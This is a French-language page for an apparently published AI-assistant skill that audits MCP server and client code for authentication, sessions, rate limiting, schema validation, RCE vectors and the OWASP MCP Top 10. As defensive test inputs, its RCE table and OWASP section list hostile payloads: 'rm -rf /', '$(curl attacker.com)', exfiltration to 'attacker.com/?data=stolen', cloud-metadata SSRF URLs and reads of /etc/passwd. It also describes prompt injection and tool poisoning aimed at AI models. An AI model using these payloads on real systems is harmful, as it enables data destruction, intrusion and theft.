mcp-security-baseline

Par github · awesome-copilot

Examiner le code source d'un serveur et d'un client MCP (Model Context Protocol) selon une base de référence sécurité — authentification, sessions, rate limiting, validation des schémas d'entrée, usage du SDK officiel, vecteurs RCE et l'OWASP MCP Top 10 — en produisant un rapport avec les preuves fichier/ligne. Utiliser cette skill quand : - On examine une implémentation de serveur MCP pour des raisons de sécurité avant une mise en production - On vérifie un serveur par rapport aux contrôles de base (MCP-01 à MCP-05) et l'OWASP MCP Top 10 - On audite des outils pour détecter des vecteurs RCE (injection de commandes/code, désérialisation non sécurisée, path traversal, SSTI, détournement de dépendances, SSRF) - On vérifie les contrôles d'authentification, de session, de rate limiting et de validation des entrées sur un serveur exposé au réseau - On examine le code client MCP qui gère les réponses de serveurs non fiables et les identifiants de session - Les demandes du type « examine ce serveur MCP pour la sécurité » ou « mon implémentation de serveur MCP est-elle sécurisée ? »

npx skills add https://github.com/github/awesome-copilot --skill mcp-security-baseline

Examen de référence de sécurité MCP

Processus

Étape 1 — Classer la cible

  • Vérifier version du protocole MCP 2025-03-26 ou ultérieure (actuelle : 2025-11-25). Signaler les versions antérieures comme constatation mais poursuivre l'examen.
  • Déterminer si la cible est un serveur ou un client.
  • Classer le transport comme exposé au réseau ou local uniquement en utilisant la référence de transport ci-dessous.
  • Enregistrer le transport, la version du protocole et l'existence de sessions.

Critère d'achèvement : Le type de cible, le statut du protocole et le transport sont identifiés.

Étape 2 — Filtrer les faux positifs

  • Appliquer les Filtres de faux positifs avant d'ouvrir des constatations.
  • Conserver uniquement les documents qui décrivent le comportement du serveur du référentiel, le déploiement, le transport ou la posture d'authentification.
  • Pour les référentiels de framework/SDK, limiter les constatations à la configuration par défaut et à la surface API publique.

Critère d'achèvement : Les preuves restantes sont du code en scope, des documents appartenant au référentiel ou un comportement d'API publique.

Étape 3 — Vérifier les contrôles de référence

  • Pour les serveurs exposés au réseau, vérifier MCP-01 à MCP-05.
  • Pour les serveurs locaux/STDIO, ne pas marquer les contrôles de référence PASS/FAIL ; fournir des notes de bonnes pratiques et continuer l'examen RCE.
  • Pour les clients, examiner uniquement la gestion des tokens/sessions explicitement visible dans le code client ; ne pas appliquer la référence serveur sauf si l'utilisateur demande un examen des risques côté client.

Critère d'achèvement : Chaque contrôle applicable a un statut supporté.

Étape 4 — Vérifier les vecteurs RCE

  • Examiner les 7 vecteurs RCE.
  • Marquer chaque vecteur SAFE (Sûr), AT RISK (À risque) ou N/A.
  • Préférer les preuves directes à l'inférence ; le tableau des vecteurs RCE ci-dessous énumère les motifs à rechercher.

Critère d'achèvement : Chaque outil pertinent a un résultat RCE ou un N/A explicite.

Étape 5 — Vérifier le Top 10 OWASP MCP

  • Évaluer les 10 risques OWASP ci-dessous.
  • Si un contrôle de l'étape 3 couvre déjà entièrement un risque OWASP, référencer ce résultat au lieu de revérifier.
  • Pour les serveurs locaux/STDIO, marquer les risques OWASP dépendant du réseau (MCP07, MCP09) comme N/A.
  • Marquer chaque risque PASS, FAIL ou NEEDS INVESTIGATION.

Critère d'achèvement : Les 10 risques OWASP ont des résultats supportés par des preuves observables ou référencés à partir de l'étape 3.

Étape 6 — Rapporter

  • Utiliser le Format de sortie de conformité ci-dessous.
  • Inclure des références de fichier/ligne dans chaque justification.
  • Séparer les constatations de code des suivis manuels.
  • Si les preuves sont incomplètes, utiliser NEEDS INVESTIGATION et nommer l'artefact manquant.

Critère d'achèvement : Le rapport inclut les contrôles, RCE, OWASP optionnel et les actions.

Référence

Règles de décision

  • Serveur exposé au réseau : Appliquer les 5 contrôles, puis exécuter les vérifications RCE et OWASP demandées.
  • Serveur local/STDIO : Fournir uniquement des conseils de bonnes pratiques pour les 5 contrôles ; exécuter tout de même RCE car l'entrée d'outil peut s'exécuter localement.
  • Client : Examiner la gestion des tokens reçus et le refus de faire confiance aux ID de session fournis par le serveur ; ne pas forcer les contrôles serveur sauf demande.
  • Proxy inverse ou exposition conteneur : Si le trafic peut atteindre le serveur sur un réseau, le traiter comme exposé au réseau même si la liaison interne est localhost.
  • Preuves floues : Ne pas deviner. Marquer NEEDS INVESTIGATION et dire ce qui doit être vérifié manuellement.
  • Couverture d'authentification ambiguë : Un middleware d'authentification existe mais il n'est pas clair s'il couvre les endpoints MCP → marquer NEEDS INVESTIGATION.
  • Transport indéterminable : Si le transport ne peut pas être établi à partir du code, signaler pour examen manuel et ne pas supposer STDIO — supposer par défaut STDIO ignorerait à tort les contrôles serveur.

Classification du transport

Exposé au réseau (appliquer tous les contrôles) :

Motif Transport
transport="http" ou transport="sse" HTTP/SSE
StreamableHttpServerTransport HTTP (TS/JS)
SSEServerTransport SSE (TS/JS)
WithHttpTransport() HTTP (C#)
host="0.0.0.0" Liaison toutes les interfaces
Express .listen(port) avec routes MCP HTTP (par défaut 0.0.0.0)
EXPOSE dans Dockerfile + serveur MCP Exposé au réseau

Local uniquement (bonnes pratiques uniquement) :

Motif Transport
StdioServerTransport STDIO (TS/JS)
WithStdioServerTransport() STDIO (C#)
transport="stdio" STDIO
mcp.run() sans arguments (Python FastMCP) Défaut STDIO
.vscode/mcp.json avec clé command et pas d'URL Processus enfant STDIO

Pièges de liaison d'hôte :

Liaison Exposition réelle
host="0.0.0.0" 🔴 Exposé au réseau
host="127.0.0.1" ou localhost 🟢 Local uniquement
Pas d'hôte explicite (Express/Node) 🔴 Par défaut 0.0.0.0
Pas d'hôte explicite (Python FastMCP) 🟡 Dépend du transport — vérifier
Docker ports: "8000:8000" 🔴 Exposé au réseau même si le processus se lie à 127.0.0.1 à l'intérieur du conteneur

Filtres de faux positifs

Motif FP Comment détecter
Templates .github/skills/ Le chemin contient .github/skills/ — template de skill, pas code serveur
SDK vendorisé / copies OSS Fichier définissant class FastMCP, class McpServer, ou chemin dans node_modules/, vendor/
Configurations client MCP .vscode/mcp.json avec inputs/servers mais pas de code serveur
Documentation / tutoriels .md, .rst avec blocs de code sans lien avec le serveur du référentiel
Bibliothèques d'authentification sortantes DefaultAzureCredential, JSON de compte de service ou similaire utilisé uniquement pour l'authentification sortante

Les documents décrivant le propre comportement serveur du référentiel, le transport, la posture d'authentification ou le déploiement ne sont pas des faux positifs.

Référence des contrôles

MCP-01 — Isolation d'identité

Scope : Serveurs MCP distants

Condition

  • Authentifier chaque requête entrante avec un fournisseur d'identité de confiance et appliquer l'autorisation à la limite du serveur ; ne pas déduire l'authentification à partir d'ID de session, de requêtes antérieures ou de localisation réseau.
  • Utiliser une identité d'application unique propre au serveur et un identifiant d'audience/ressource ; les appels sortants utilisent des credentials de service indépendamment délimités ou un flux au nom de l'utilisateur si nécessaire, jamais le token entrant.
  • Les endpoints de découverte non authentifiés sont autorisés uniquement pour l'amorçage OAuth/MCP de métadonnées uniquement : /.well-known/oauth-protected-resource, /.well-known/oauth-authorization-server, /.well-known/openid-configuration.

Ce qu'il faut vérifier

  • Le middleware de validation de token et d'autorisation s'exécute sur chaque route MCP ; l'autorisation distingue l'invocation d'outil, les opérations en lecture seule et d'administration si présentes.
  • La configuration d'identité montre un ID d'application/client/ressource dédié et une audience ; les clients sortants acquièrent leurs propres tokens et ne copient jamais l'Authorization entrante.
  • Les endpoints de découverte renvoient uniquement des métadonnées et ne peuvent pas exécuter des outils ou exposer des données protégées.

Piège clé : Les identités d'application partagées ou les tokens d'appelant transférés cassent l'isolation d'identité et créent des chemins de confused-deputy.

MCP-02 — Sessions

Scope : Serveurs MCP distants qui supportent les sessions

Applicabilité

  • Aucun identifiant de session émis ou utilisé nulle part → marquer N/A (l'authentification par requête est toujours requise ; voir MCP-01).
  • Sessions gérées par le transport/SDK (par ex., Mcp-Session-Id HTTP Streamable) mais génération/liaison non visible en source → marquer NEEDS INVESTIGATION, pas FAIL.
  • Identifiants de session présents en code → évaluer PASS/FAIL par rapport aux conditions ci-dessous.

Condition

  • Authentifier et autoriser chaque requête ; l'état de session ne remplace jamais la validation de token.
  • Les ID de session sont uniquement des tokens de corrélation/continuité opaques ; ils n'accordent pas de privilèges, ne codent pas l'autorisation et ne contournent pas l'authentification.
  • Les ID de session sont générés par CSPRNG, imprévisibles, liés à un contexte authentifié, et jamais embarqués dans des URLs.

Ce qu'il faut vérifier

  • Le middleware valide les tokens par requête, pas uniquement au démarrage d'une session.
  • La logique d'autorisation ne fait jamais confiance à un ID de session seul ; la perte ou la réutilisation d'un ID de session ne doit pas accorder l'accès.
  • La création de session utilise des ID aléatoires (GUID v4/CSPRNG acceptable ; les ID séquentiels ou basés sur le temps ne le sont pas).

Piège clé : Traiter un ID de session comme une credential bearer transforme un token de corrélation en authentification.

MCP-03 — Limites de débit

Scope : Serveurs et outils MCP

Condition

  • Appliquer des limites de débit et une protection contre les abus sur la découverte d'outils et l'invocation d'outils.
  • Appliquer les limites au runtime du serveur MCP, pas uniquement à une passerelle ; partitionner par identité authentifiée et par session où les sessions existent.
  • Appliquer des limites plus strictes aux outils capables de mutation et coûteux ; quand les limites sont dépassées, échouer de manière fermée avec HTTP 429 et Retry-After et ne pas exécuter l'outil.

Ce qu'il faut vérifier

  • Un middleware de limite de débit ou équivalent est présent sur les endpoints de découverte et d'invocation dans le code serveur, pas seulement dans la config d'ingress ou de proxy.
  • Les limites sont clés par identité et session, avec des budgets plus serrés pour les opérations d'écriture/coûteuses.
  • Les requêtes dépassées s'arrêtent avant l'action backend et retournent 429 avec Retry-After.

Seuils de démarrage (ajuster à la charge réelle, aux limites en aval et au coût) :

Type d'outil Par identité Par session Remarques
Lecture seule / énumération 100/min 200/min Réduire si les API en aval sont sensibles
Mutation / écriture 10/min 20/min Plus strict pour les opérations changeant l'état
Calcul coûteux 5/min 10/min Pondéré par coût ; surveiller la dépense cloud
Découverte d'outil 30/min 60/min Prévient les abus d'énumération

Piège clé : La limitation à la passerelle uniquement ou un seul compartiment laisse des contournements et sous-protège les outils coûteux.

MCP-04 — Validation de schéma

Scope : Serveurs MCP exposant des outils avec arguments structurés

Condition

  • Valider tous les arguments d'outil par rapport à des schémas explicites avant l'exécution.
  • Les schémas définissent les types, les champs obligatoires, les énumérations et les limites, et rejettent les propriétés non spécifiées par défaut (additionalProperties: false ou équivalent).
  • La validation s'exécute côté serveur à chaque invocation ; l'entrée invalide échoue de manière fermée avec une erreur 400/MCP et aucune action backend.

Ce qu'il faut vérifier

  • Chaque descripteur d'outil a un schéma couvrant les types, les champs obligatoires, les énumérations, les limites et les restrictions de propriété.
  • La validation se produit à la limite du serveur à chaque appel, pas seulement dans les clients, les passerelles ou les services en aval.
  • Les tests négatifs rejettent l'entrée malformée, les propriétés supplémentaires et les violations de limites.

Piège clé : Autoriser les propriétés supplémentaires ou la validation côté client uniquement crée une surface d'attaque cachée et une expansion de scope.

MCP-05 — Priorité au SDK

Scope : Serveurs MCP distants

Condition

  • Construire des serveurs MCP distants sur un SDK MCP officiel pour le langage du serveur :
    • Tier 1 (pleinement supporté) : TypeScript (modelcontextprotocol/typescript-sdk), Python (modelcontextprotocol/python-sdk), C#/.NET (modelcontextprotocol/csharp-sdk), Go (modelcontextprotocol/go-sdk)
    • Tier 2/3 (en développement) : Java (modelcontextprotocol/java-sdk), Kotlin (modelcontextprotocol/kotlin-sdk), Rust (modelcontextprotocol/rust-sdk), Swift (modelcontextprotocol/swift-sdk), PHP (modelcontextprotocol/php-sdk), Ruby (modelcontextprotocol/ruby-sdk)
  • Si aucun SDK officiel n'est utilisé, marquer MCP-05 comme NEEDS INVESTIGATION.
  • Garder le SDK à jour et patché, et vérifier quels contrôles sont automatiques par rapport à manuels.

Ce qu'il faut vérifier

  • Les dépendances référencent un SDK MCP officiel plutôt qu'une pile HTTP/SSE faite maison.
  • Si aucun SDK n'est utilisé, le référentiel contient des preuves directes pour l'authentification/autorisation, les sessions, les limites de débit et la validation de schéma.
  • Le pinning de dépendance et l'hygiène de mise à jour montrent que le SDK est maintenu.

Piège clé : Les serveurs faits maison manquent souvent une primitive « mineure » — authentification par requête, throttling ou validation — et les lacunes s'aggravent.

Vecteurs RCE

Vecteur Code dangereux Alternative sûre Charge de test CWE
Injection de commande exec("convert " + args.filename), os.system(f"process {user_input}"), Process.Start("cmd", "/c " + toolArg) execFile("convert", [args.filename]), subprocess.run(["process", user_input], shell=False) ; rm -rf /, $(curl attacker.com), \| net user doit être rejeté ou traité littéralement CWE-78
Évaluation dynamique de code eval(args.expression), exec(tool_output), new Function(args.code)() Analyseur sandboxé, évaluation basée sur AST, ou liste blanche prédéfinie __import__('os').system('whoami'), require('child_process').exec('id') doit être rejeté CWE-94, CWE-95
Désérialisation non sûre pickle.loads(user_data), yaml.load(input, Loader=yaml.UnsafeLoader), BinaryFormatter.Deserialize(stream) yaml.safe_load(), JSON.parse() plus validation de schéma ; éviter les formats binaires pour l'entrée non fiable Les charges utiles sérialisées fabriquées doivent être rejetées ou gérées en toute sécurité CWE-502
Traversée de répertoire fs.readFile(args.path) sans validation, open(user_path, 'w') Canonicaliser et appliquer un répertoire de base listé en blanc avant lecture/écriture/exécution ../../../../etc/passwd, C:\Windows\System32\config\SAM, ..\..\..\.env doit être rejeté CWE-22
SSTI Template(user_input).render(), Handlebars.compile(args.template)({data}) Ne jamais utiliser l'entrée utilisateur comme source de template ; utiliser uniquement des templates prédéfinis avec paramètres {{7*7}}, ${7*7}}, <%= 7*7 %> ne doit pas afficher 49 CWE-1336
Détournement de dépendance Deps non pincées comme "lodash": "^4.0.0" ; noms de packages internes résolubles depuis les registres publics Pincer les versions exactes, garder les fichiers de verrouillage avec hashes d'intégrité, utiliser des registres de confiance/étendus, vérifier les signatures où disponibles npm audit, pip audit, ou dotnet list package --vulnerable ; examiner les CVE et les packages suspects CWE-829
SSRF requests.get(user_param), fetch(user_input), HttpClient.GetAsync(user_input) Lister en blanc les schémas/domaines, bloquer les cibles RFC1918 et link-local, valider les URLs avant l'envoi http://169.254.169.254/latest/meta-data/, http://localhost:8080/admin, http://attacker.com/?data=stolen doit être rejeté CWE-918

Top 10 OWASP MCP

MCP01:2025 — Mauvaise gestion des tokens et exposition des secrets Test : Rechercher les secrets en dur et la journalisation de tokens ; vérifier que les secrets viennent de variables d'env ou d'un gestionnaire de secrets ; vérifier les tokens à courte durée de vie/rotationnés. Pass : Aucun secret en dur, champs sensibles masqués, tokens à courte durée de vie/rotationnés. Fail : Secrets en dur, journalisation de tokens ou tokens longue durée sans rotation.

MCP02:2025 — Escalade de privilèges via expansion de scope Test : Examiner les scopes/rôles ; confirmer le moindre privilège et l'autorisation par requête ; rejeter les scopes admin wildcard sauf justifiés ; vérifier l'expansion de capacité runtime. Pass : Scopes moindre privilège, autorisation par requête, aucune expansion de capacité runtime. Fail : Scopes larges, authentification unique ou outils auto-escaladants.

MCP03:2025 — Empoisonnement d'outil Test : Vérifier si les définitions d'outil sont statiques et contrôlées par le serveur, si les outils peuvent modifier les métadonnées, et si les sorties contiennent des instructions analysables par LLM. Pass : Définitions statiques contrôlées par le serveur et sorties données uniquement. Fail : Sources de métadonnées externes ou sorties avec instructions embarquées.

MCP04:2025 — Attaques de chaîne d'approvisionnement et tamponnement de dépendance Test : Vérifier les fichiers de verrouillage, le pinning exact, les scripts postinstall suspects, les résultats d'audit de dépendance et les registres de confiance. Pass : Deps pincées, fichier de verrouillage commité, aucune vulnérabilité connue, aucun script post-install suspect. Fail : Deps non pincées, aucun fichier de verrouillage, CVE non corrigées ou registres non fiables.

MCP05:2025 — Injection de commande et exécution Test : Rechercher les APIs d'exécution shell et les commandes construites par string ; tracer si l'entrée d'outil atteint l'exécution shell ; tester ; ls, $(whoami), \| cat /etc/passwd. Pass : Aucune exécution shell à partir d'entrée non fiable, ou uniquement exécution paramétrée/liste blanche. Fail : L'entrée utilisateur atteint les commandes shell, shell=True avec chaînes formatées ou concaténation non sûre.

MCP06:2025 — Injection de prompt via charges contextuelles Test : Vérifier si la sortie d'outil revient au LLM, si le contenu externe est assaini/tronqué/sandboxé, et si les appels d'outil chaînés sont gardés ; tester la sortie contenant des instructions adversariales. Pass : Les sorties d'outil sont des données, le contenu non fiable est assaini/tronqué/sandboxé et le chaînage a des garde-fous. Fail : Le contenu externe brut revient au modèle et il n'y a aucune limite de chaînage.

MCP07:2025 — Authentification et autorisation insuffisantes Test : Envoyer les requêtes sans authentification et avec tokens expiré/invalide ; vérifier l'autorisation par outil ; confirmer que l'authentification est appliquée au serveur, pas seulement à la passerelle. Pass : Tous les endpoints requièrent une authentification valide, l'autorisation par outil existe et l'application se produit côté serveur. Fail : Tout accès non authentifié, authentification par outil manquante ou application à la passerelle uniquement.

MCP08:2025 — Manque d'audit et de télémétrie Test : Invoquer un outil et confirmer que les journaux capturent l'identité de l'appelant, le nom de l'outil et l'horodatage ; déclencher une erreur et confirmer le contexte utile ; vérifier la journalisation centralisée et les alertes. Pass : Les invocations d'outil sont journalisées avec l'identité, les journaux sont centralisés et les alertes existent. Fail : Journaux manquants, aucune identité d'appelant, journalisation locale uniquement ou aucune alerte.

MCP09:2025 — Serveurs MCP fantôme Test : Vérifier que le serveur existe dans l'inventaire de service ; inspecter les endpoints MCP non documentés ou les ports non standards exposés ; vérifier l'isolation dev/staging ; vérifier un propriétaire et la piste d'examen. Pass : Tous les serveurs sont inventoriés, isolés correctement et possédés. Fail : Serveurs non documentés, exposition dev/test dans les réseaux de production ou aucune propriété.

MCP10:2025 — Injection de contexte et sur-partage Test : Inspecter les réponses d'outil pour la minimalité des données ; vérifier les PII ou les objets complets quand seuls des sous-ensembles sont nécessaires ; vérifier l'isolation de contexte. Pass : Les données minimales sont retournées, les champs sensibles sont masqués/exclus et le contexte est isolé. Fail : Les objets complets sont retournés inutilement, les PII sont exposées ou le contexte est partagé entre utilisateurs.

Format de sortie de conformité

Dans chaque tableau récapitulatif ci-dessous, la cellule Justification doit citer les preuves de fichier/ligne spécifiques pour le statut.

Résumé de contrôle

Contrôle Nom Statut Justification
MCP-01 Isolation d'authentification et d'identité ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A
MCP-02 Gestion sécurisée des sessions
MCP-03 Limitation de débit et protection contre les abus
MCP-04 Validation de schéma d'entrée
MCP-05 Utilisation du SDK de production

Utiliser PASS uniquement quand le code satisfait clairement le contrôle. Utiliser FAIL quand la violation est observable. Utiliser NEEDS INVESTIGATION quand la conformité dépend de la configuration de déploiement, de l'état du fournisseur d'identité, des journaux ou d'autres preuves non visibles en source.

Résumé RCE

Vecteur Statut Justification
Injection de commande SAFE / AT RISK / N/A
Évaluation dynamique de code
Désérialisation non sûre
Traversée de répertoire
SSTI
Détournement de dépendance
SSRF

Résumé OWASP

Risque Statut Justification
MCP01:2025 ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION
MCP02:2025
MCP03:2025
MCP04:2025
MCP05:2025
MCP06:2025
MCP07:2025
MCP08:2025
MCP09:2025
MCP10:2025

Suivis manuels

Lister chaque vérification qui n'a pas pu être entièrement résolue à partir du code source, en spécifiant quel artefact ou accès est nécessaire pour le vérifier.

Processus d'exception

  • Documenter la lacune : Identifier le contrôle non respecté, l'écart exact, le risque résiduel et tout contrôle compensatoire.
  • Obtenir l'approbation explicite : Acheminer l'exception par l'approbation de sécurité/libération avec un propriétaire et une date d'expiration ou de révision.
  • Suivre et réévaluer : Enregistrer l'exception approuvée avec les résultats de conformité et la revisiter à l'expiration ou chaque fois que le serveur, les outils, le profil de trafic ou l'exposition change.

Skills similaires